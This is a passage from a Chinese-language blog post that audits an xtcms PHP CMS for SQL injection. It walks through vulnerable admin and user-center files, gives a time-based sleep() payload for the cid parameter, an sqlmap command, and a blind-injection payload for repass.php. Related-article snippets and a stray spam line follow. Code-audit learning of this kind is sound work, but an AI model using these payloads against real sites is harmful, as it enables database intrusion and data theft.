     $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);
    
     admin/cms_check_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
    
     admin/cms_player_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');
    
     admin/cms_slideshow_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');
    
     admin/cms_ad_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');
    
     admin/cms_link_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');
    
     admin/cms_usercard_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');
    
     admin/cms_youlian_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');
    

    admin/cms_user.php

    <?php
    include('../system/inc.php');
    include('cms_check.php');
    error_reporting(0);
    include('model/user.php');
    ?>
    if (isset($_GET['key'])) {
    $sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
    $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
    $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
    }
    

    這里的話參數是在like處,這里的話經過本地測試及查找資料并未發現此處可以進行SQL注入,通過SQLmap掃描也無果,各位大師傅如果有思路的話還請指點一二

    admin/cms_detail.php

    if (isset($_GET['cid'])) {
        if ($_GET['cid'] != 0){
            $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
            $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
            $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
        }else{
            $sql = 'select * from xtcms_vod order by d_id desc';
            $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
            $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
            }
    }
    

    這里的話關注這里

    $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
    

    這個cid參數是被括號包裹的,這里我們可以嘗試通過使用這種payload來進行閉合語句從而進行SQL注入

    cid=1) and sleep(1) --+
    //此時語句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)
    

    根據回顯時間可以看出此處是存在SQL注入的

    admin/cms_kamilist.php

    <?php
    include('../system/inc.php');
    include('cms_check.php');
    error_reporting(0);
    
    ?>
    if (isset($_GET['c_used'])) {
        $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
        $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
        $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
    }
    

    這里的話可以看出參數被雙引號包裹了,開頭包含了SQL防護文件,涉及了addslashes()函數,所以這里自認為是不存在SQL注入的,找下一處。

    ucenter/index.php

    //部分
    <?php include('../system/inc.php');
    if(!isset($_SESSION['user_name'])){
            alert_href('請登陸后進入','login.php');
    };
    ?>
    <?php include('left.php');?>
    <?php
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
    if($row = mysql_fetch_array($result)){
    ?>
    

    這里的話可以看見參數是SESSION傳參,不同于之前的GET和POST,而且這里還有雙引號包裹,因此這里不存在SQL注入,下一處

    類似這種的還有

    ucenter/kami.php
    其SQL語句如下
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
    
    ucenter/chongzhi.php
    其SQL語句如下
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
    
    ucenter/mingxi.php
    其SQL語句如下
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
    

    ucenter/cms_user_add.php

    源碼為

    <?php
    include('../system/inc.php');
    include('cms_check.php');
    
    if ( isset($_POST['save']) ) {
    null_back($_POST['u_name'],'請填寫登錄帳號');
        null_back($_POST['u_password'],'請填寫登錄密碼');
    $result = mysql_query('select * from xtcms_user where u_name = "'.$_POST['u_name'].'"');
        if(mysql_fetch_array($result)){
            alert_back('帳號重復,請輸入新的帳號。');
        }
    

    雙引號包裹,且包含了過濾函數,因此SQL注入不存在,誤報,類似這種的還有

    ucenter/return_url.php
    其SQL語句如下
    $order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');
    
    ucenter/password.php
    其SQL語句如下
    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
    
    ucenter/reg.php
    其SQL語句如下
    $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
    
    ucenter/login.php
    其SQL語句如下
    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
    
    ucenter/mingxi.php
    其SQL語句如下
    $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
    

    ucenter/repass.php

    源碼為

    <?php 
    include('../system/inc.php');
    if(isset($_SESSION['user_name'])){
    header('location:index.php');
    };
    
    if(isset($_POST['submit'])){
    $username = stripslashes(trim($_POST['name']));
    $email = trim($_POST['email']);
    // 檢測用戶名是否存在
    $query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
    if(!! $row = mysql_fetch_array($query)){
    $_data['u_password'] = md5(123456);
    $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
    if (mysql_query($sql)) {
    

    這里的話我們看到參數name

    $username = stripslashes(trim($_POST['name']));
    

    這里引用了stripslashes函數,而文件開頭又包含inc.php,這個文件里包含了addslashes函數,當我們參數出現單引號這種特殊字符時,addslashes會加上反引號,而stripslashes會清除addslashes函數加上的反引號,這個時候就相當于沒有防護一樣,所以顯而易見這里是存在SQL注入的,我們可以使用bp抓包保存后,再利用sqlmap來得到數據庫信息,具體payload

    python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs
    

    但很怪,我自己的沒有跑出來數據

    而我參考其他師傅的文章后發現他們的可以跑出來。

    payload如下

    name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com&password=111&submit=
    

    類似這種的還有

    ucenter/active.php
    其SQL語句如下
    $verify = stripslashes(trim($_GET['verify']));
    $nowtime = time();
    $query = mysql_query("select u_id from xtcms_user where u_question='$verify'");
    
    ucenter/reg.php
    其內SQL語句如下
    if(isset($_POST['submit'])){
    $username = stripslashes(trim($_POST['name']));
    $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
    

    總結

    本次CMS審計花費了很多時間,一方面因為漏洞點有點多,另一方面也是初學代碼審計,不太擅長,經過此次審計后對SQL注入和XSS漏洞有了進一步的了解,也學到了新的思路和知識。也希望此文章能對在學習代碼審計的師傅有一些幫助。

    sql注入mysql update語句
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    數據庫注入提權總結
    2022-08-09 16:49:49
    select * from test where id=1 and ;布爾盲注常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。查詢結果正確,則延遲3秒,錯誤則無延時。笛卡爾積延時大約也是3秒HTTP頭注入注入手法和上述相差不多,就是注入點發生了變化HTTP分割注入常見場景,登錄處SQL語句如下
    Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。
    Oracle數據庫的基本知識Oracle數據庫介紹Oracle Database,又名Oracle RDBMS,或簡稱Oracle。
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    java審計之ofcms
    2022-12-30 11:05:58
    java審計之ofcms
    前言本次審計的話是Seay+昆侖鏡進行漏洞掃描Seay的話它可以很方便的查看各個文件,而昆侖鏡可以很快且掃出更多的漏洞點,將這兩者進行結合起來,就可以發揮更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';驗證碼的校驗代碼if ($_SESSION['verifycode'] !該文件的含義是用0-9中的任意四個數字作為驗證碼,也就是說js引用該文件來產生驗證碼。wap/seacher.php昆侖鏡掃描利用seay查看源碼//這只是一部分,具體的師傅們可自行查看此文件
    MySQL偏門注入
    2021-10-13 05:57:16
    工作之后,目前工作內容就是寫代碼和研究Linux內核相關的知識,已經很少研究有關SQL注入等相關知識了。這篇文章是最近在整理自己電腦文件時發現的。與其藏在角落里,還不如和大家一起分享下。由于時間過于久遠,也無法確認是不是已經有人已經分享過了。
    SQL手工注入總結
    2021-11-11 08:19:35
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类